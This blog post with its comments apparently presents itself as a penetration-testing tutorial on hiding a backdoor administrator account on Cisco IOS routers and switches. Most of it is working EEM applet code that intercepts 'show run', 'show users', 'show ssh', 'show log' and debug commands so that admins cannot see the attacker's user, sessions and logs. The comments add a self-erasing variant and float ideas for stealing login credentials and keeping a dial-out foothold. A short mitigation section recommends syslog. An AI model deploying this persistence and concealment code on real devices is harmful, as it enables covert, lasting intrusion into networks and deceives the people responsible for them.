Friday, April 3, 2015

Penetration Testing: How to Hide an Admin User on Cisco IOS (Router/Switch) Platform

Beginning Reminder: This article is written for research and experimentation purposes only. Only ever access devices you have written, legal authorization to access.

Okay, so here's the scenario. You found you way into an elevated command prompt on a Cisco router, and you want to establish a persistent foothold on the device while leaving as few markers as possible. You need to do this with existing code, and you'd like to alter as little as possible. Cisco's EEM is the answer.

Cisco EEM is a programming language built into any modern Cisco IOS switch or router. It allows for all sorts of automatic actions to take place, and it also allows a key feature which we'll exploit here - it can 'catch' a string a user enters and transparently replace it with another string - one which we'll instruct to exclude our 'malicious' pivot code.

Okay, so you're on an exec command line, what's next?

1. Create a user all your own with exec (priv 15) permissions:
! Note: Make sure the username contains the string "hidden", because those are the lines we are hiding from the configuration below
 config t
 username hidden_YourUser priv 15 sec yourPassword1234

2. Install a few EEM functions, which do the following: 
Hide our user and history from any valid admins by proxying valid commands with commands filtered to hide our information.

EEM Code:

! Hides the EEM code from the running config show command 
event manager applet hidden_eemRunningConfig
 event cli pattern "show run" sync yes
 action 0.0 cli command "enable"
 action 1.0 cli command "show run | ex hidden|event|action"
 action 2.0 puts "$_cli_result"

! Hides the EEM code from the startup config show command 
event manager applet hidden_eemStartupConfig
 event cli pattern "show run" sync yes
 action 0.0 cli command "enable"
 action 1.0 cli command "show start | ex hidden|event|action"
 action 2.0 puts "$_cli_result" 

! Hides the bad actor's active VTY (telnet/ssh) session
event manager applet hidden_VTY
 event cli pattern "show users" sync yes
 action 0.0 cli command "enable"
 action 1.0 cli command "show users | ex hidden"
 action 2.0 puts "$_cli_result"

! Hides the bad actor's active SSH session
event manager applet hidden_sshSession
 event cli pattern "show ssh" sync yes
 action 0.0 cli command "enable"
 action 1.0 cli command "show ssh | ex hidden"
 action 2.0 puts "$_cli_result"

! Hides the EEM actions from showing up in local logging via show command
event manager applet hidden_eemLogging
 event cli pattern "show log" sync yes
 action 0.0 cli command "enable"
 action 1.0 cli command "show log | ex HA_EM|hidden"
 action 2.0 puts "$_cli_result"

! Hides the EEM and new user from showing up in more system:running" command
event manager applet hidden_moreRunning
 event cli pattern "more system:running-config" sync yes
 action 0.0 cli command "enable"
 action 1.0 cli command "more system:run | ex hidden|event|action"
 action 2.0 puts "$_cli_result"

! Hides the EEM and new user from showing up in more system:start" command
event manager applet hidden_moreStart
 event cli pattern "more system:running-config" sync yes
 action 0.0 cli command "enable"
 action 1.0 cli command "more system:start | ex hidden|event|action"
 action 2.0 puts "$_cli_result"

! Prevents EEM from being debugged, which could catch our malicious EEMs in action
event manager applet hidden_EEMdebug
 event cli pattern "debug event manager" sync yes
 action 0.0 cli command "enable"

Weaknesses of This Method
1. Syslog/external logging - No ability to hide the execution of commands in real-time, so they will be logged to an external server if device set up to do so.
2. All EEM scripts are hidden using this method. If administrators utilize EEM for their admin duties, they may become suspicious that their EEM scripts have disappeared. (thanks to evilgoat for pointing this out!)
3. Config backup. If the tool uses snmp to pull a full config, your new config and user are visible. If the tool is like most tools, and simply uses a service account to programmatically run "show run", your config will stay hidden.
4. The local log of the device will have many hidden lines in its buffer, so it will look short to someone looking closely.
5. If the local log uses line numbers, as recommended by Cisco security best practice (but which is not the default config!), it'll be evident to someone looking closely that lines are missing.

Mitigation for Administrators
1. Syslog, syslog, syslog. First, to catch the immediate changes by frequent synchronization to catch the initial changes. Second, to catch the EEM in action, as it catches the legitimate user's commands and hides itself. Third, to catch any further activity by the bad actor as they perform future activities on the system.

Recommendations for Cisco to Fix This Issue
1. Don't allow aliasing of existing commands. This is messy programming, and allows many opportunities to cripple a router and confuse admins.

Ending Reminder: This article is written for research and experimentation purposes only. Only ever access devices you have written, legal authorization to access.


  1. Hey Kyler,

    "Action 1.0 cli command "show run | ex hidden|event|action"" hides any EEM script or at least lines from them, there is a chance that someone out there is using legitimate ones and will raise an eyebrow if they go missing.

    I tried experimenting with "show run | section exclude event manager applet "but IOS seems to have a very odd behavior in recognizing how big this section actually is and most of the time you get the last 2-3 items in the script still showing up in running configuration.

    Any idea how one could hide a specific EEM applet in an environment where there are multiple one?


  2. I also tried using the regexp function in EEM to match the bit of the running config, but the problem is that the end statement for your regular expression is going to be contained in your regular expression and in a bit of circular logic it will always match the string that is trying to define what needs to be matched and will end there instead of a few lines further down.

    i even considered having the EEM script delete itself, run the command (as apparently it goes into memory on execution and if you delete it as part of it's run time it still completes all actions) and then re-create itself but this is also somewhat difficult to do partially due to the maximum 255 characters per command ...

    1. Hey evilgoat,

      I like this idea! I agree - erasing and recreating your EEM scripts isn't going to work. If your EEM script is x lines long, and you want to first delete it (y length), then recreate it, your EEM script needs to be x+y length. It's never going to be long enough.

      Regex probably won't work, because IOS doesn't support "command | exclude section" or multiple pipes without modifying the IOS or using TCL scripting.

      I have an idea, but it's not a great one. You could write the running config to a temp file, erase your EEM, send the user the running config (now clean), then restore your EEM by copying the temp file back into running config. It would mean running the command would take a little longer, though, which might tip off the target. Here's an example:
      event manager applet hidden_showRun
      event cli pattern "show run" sync yes
      action 0.0 cli command "enable"
      action 1.0 cli command "copy run disk0:tempConfig"
      action 2.0 cli command "no event manager applet hidden_showRun"
      action 3.0 cli command "show run | ex hidden"
      action 4.0 puts "$_cli_result"
      action 5.0 cli command "copy disk0:tempConfig run"

      I don't have a hardware route to test in front of me (this type of work-around doesn't work on GNS3, because it doesn't simulate storage), so results may vary. Let me know if you can get it working reasonably quickly!

    2. This comment has been removed by the author.

  3. any solution update on the snmp collecting everything?

    1. Hey Alma,

      I haven't had time to pursue this, unfortunately. It'd be interesting to learn whether EEM could intercept SNMP requests with an "event". Which isn't altogether useful unless you could also rewrite SNMP responses on the fly.

      Much of SNMP isn't encrypted until SNMPv3, so if you could MitM the SNMP traffic it'd be easy to rewrite the data on the fly before returning it to the requester. It'd take a well-built python or perl script, but it could be done.

      As for SNMPv3, I have no clue what to do. Which is hopefully the point - if you're encrypted and authenticated, bad actors shouldn't be able to touch you.

      Good luck with your testing!

  4. hi,

    any update on this or any new developments about this trick?

    1. Hey Anon, not really. It's still a valid method as far as I know. I have tested on ASAs, and you are not able to use the EEM to catch commands, so entirely mitigated on that platform.

      I am still interested in this topic, particularly as it related to triggering a dial-out from the device when a specific (or any) command is entered to establish a permanent foothold in the network even after a reboot. Need to investigate the capabilities of that.

      Also interested if EEM is active during the VTY login process. Could you trap the user's credentials using EEM and relay them to a server via SSH or SNMP?

      If you discover this stuff, let me know!

  5. when you issue "show running-config all" is like issuing show running-config only, and will not show anything more than that, which may raise suspecion.